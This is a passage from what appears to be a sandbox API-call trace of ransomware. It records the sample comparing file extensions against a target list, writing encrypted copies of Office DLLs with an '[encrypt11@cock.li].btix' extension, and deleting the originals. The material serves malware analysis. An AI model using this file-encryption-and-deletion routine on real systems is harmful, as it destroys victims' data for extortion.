lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString=".docx") returned 5 [0055.034] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.034] lstrlenW (lpString=".pdf") returned 4 [0055.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString=".xls") returned 4 [0055.034] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString=".xlsx") returned 5 [0055.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.034] lstrlenW (lpString=".ppt") returned 4 [0055.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString=".zip") returned 4 [0055.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString=".rar") returned 4 [0055.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString=".bz2") returned 4 [0055.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.034] lstrlenW (lpString=".7z") returned 3 [0055.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString=".dbf") returned 4 [0055.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString=".1cd") returned 4 [0055.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString=".jpg") returned 4 [0055.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.035] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.035] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0055.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0055.035] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=19136) returned 1 [0055.035] CloseHandle (hObject=0x2e0) returned 1 [0055.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0055.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0055.035] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.035] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.036] GetLastError () returned 0x0 [0055.036] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0055.052] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0055.054] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.054] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x114, lpOverlapped=0x0) returned 1 [0055.054] SetEndOfFile (hFile=0x31c) returned 1 [0055.054] CloseHandle (hObject=0x31c) returned 1 [0055.055] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.055] SetEndOfFile (hFile=0x2e0) returned 1 [0055.056] CloseHandle (hObject=0x2e0) returned 1 [0055.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.056] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.056] lstrlenW (lpString=".doc") returned 4 [0055.056] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.056] lstrlenW (lpString=".docx") returned 5 [0055.057] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.057] lstrlenW (lpString=".pdf") returned 4 [0055.057] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString=".xls") returned 4 [0055.057] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString=".xlsx") returned 5 [0055.057] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.057] lstrlenW (lpString=".ppt") returned 4 [0055.057] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.057] lstrlenW (lpString=".zip") returned 4 [0055.057] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString=".rar") returned 4 [0055.057] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString=".bz2") returned 4 [0055.057] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.057] lstrlenW (lpString=".7z") returned 3 [0055.057] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.057] lstrlenW (lpString=".dbf") returned 4 [0055.057] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.057] lstrlenW (lpString=".1cd") returned 4 [0055.057] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.057] lstrlenW (lpString=".jpg") returned 4 [0055.057] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString=".doc") returned 4 [0055.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString=".docx") returned 5 [0055.058] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.058] lstrlenW (lpString=".pdf") returned 4 [0055.058] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString=".xls") returned 4 [0055.058] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString=".xlsx") returned 5 [0055.058] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.058] lstrlenW (lpString=".ppt") returned 4 [0055.058] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString=".zip") returned 4 [0055.058] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString=".rar") returned 4 [0055.058] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.058] lstrlenW (lpString=".bz2") returned 4 [0055.058] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.058] lstrlenW (lpString=".7z") returned 3 [0055.058] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString=".dbf") returned 4 [0055.058] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString=".1cd") returned 4 [0055.058] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0055.058] lstrlenW (lpString=".jpg") returned 4 [0055.058] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.059] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.059] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0055.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.060] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=27840) returned 1 [0055.060] CloseHandle (hObject=0x31c) returned 1 [0055.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0055.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.060] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.060] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.061] GetLastError () returned 0x0 [0055.061] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0055.064] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.064] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x110, lpOverlapped=0x0) returned 1 [0055.064] SetEndOfFile (hFile=0x320) returned 1 [0055.064] CloseHandle (hObject=0x320) returned 1 [0055.065] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.065] SetEndOfFile (hFile=0x31c) returned 1 [0055.066] CloseHandle (hObject=0x31c) returned 1 [0055.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.066] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.066] lstrlenW (lpString=".doc") returned 4 [0055.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.066] lstrlenW (lpString=".docx") returned 5 [0055.066] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.066] lstrlenW (lpString=".pdf") returned 4 [0055.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.066] lstrlenW (lpString=".xls") returned 4 [0055.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".xlsx") returned 5 [0055.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.067] lstrlenW (lpString=".ppt") returned 4 [0055.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString=".zip") returned 4 [0055.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".rar") returned 4 [0055.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".bz2") returned 4 [0055.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.067] lstrlenW (lpString=".7z") returned 3 [0055.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString=".dbf") returned 4 [0055.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString=".1cd") returned 4 [0055.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString=".jpg") returned 4 [0055.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.067] lstrlenW (lpString=".doc") returned 4 [0055.067] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".docx") returned 5 [0055.067] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.067] lstrlenW (lpString=".pdf") returned 4 [0055.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".xls") returned 4 [0055.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.067] lstrlenW (lpString=".xlsx") returned 5 [0055.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.067] lstrlenW (lpString=".ppt") returned 4 [0055.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.068] lstrlenW (lpString=".zip") returned 4 [0055.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.068] lstrlenW (lpString=".rar") returned 4 [0055.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.068] lstrlenW (lpString=".bz2") returned 4 [0055.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.068] lstrlenW (lpString=".7z") returned 3 [0055.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.068] lstrlenW (lpString=".dbf") returned 4 [0055.068] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.068] lstrlenW (lpString=".1cd") returned 4 [0055.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0055.068] lstrlenW (lpString=".jpg") returned 4 [0055.068] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.068] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.068] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0055.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.068] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=26816) returned 1 [0055.068] CloseHandle (hObject=0x31c) returned 1 [0055.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0055.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.069] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.069] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.069] GetLastError () returned 0x0 [0055.069] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0055.079] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0055.080] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.080] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11a, lpOverlapped=0x0) returned 1 [0055.080] SetEndOfFile (hFile=0x320) returned 1 [0055.080] CloseHandle (hObject=0x320) returned 1 [0055.081] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.081] SetEndOfFile (hFile=0x31c) returned 1 [0055.082] CloseHandle (hObject=0x31c) returned 1 [0055.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString=".doc") returned 4 [0055.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString=".docx") returned 5 [0055.083] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.083] lstrlenW (lpString=".pdf") returned 4 [0055.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString=".xls") returned 4 [0055.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString=".xlsx") returned 5 [0055.083] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.083] lstrlenW (lpString=".ppt") returned 4 [0055.083] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString=".zip") returned 4 [0055.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString=".rar") returned 4 [0055.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.083] lstrlenW (lpString=".bz2") returned 4 [0055.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.083] lstrlenW (lpString=".7z") returned 3 [0055.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString=".dbf") returned 4 [0055.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString=".1cd") returned 4 [0055.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.083] 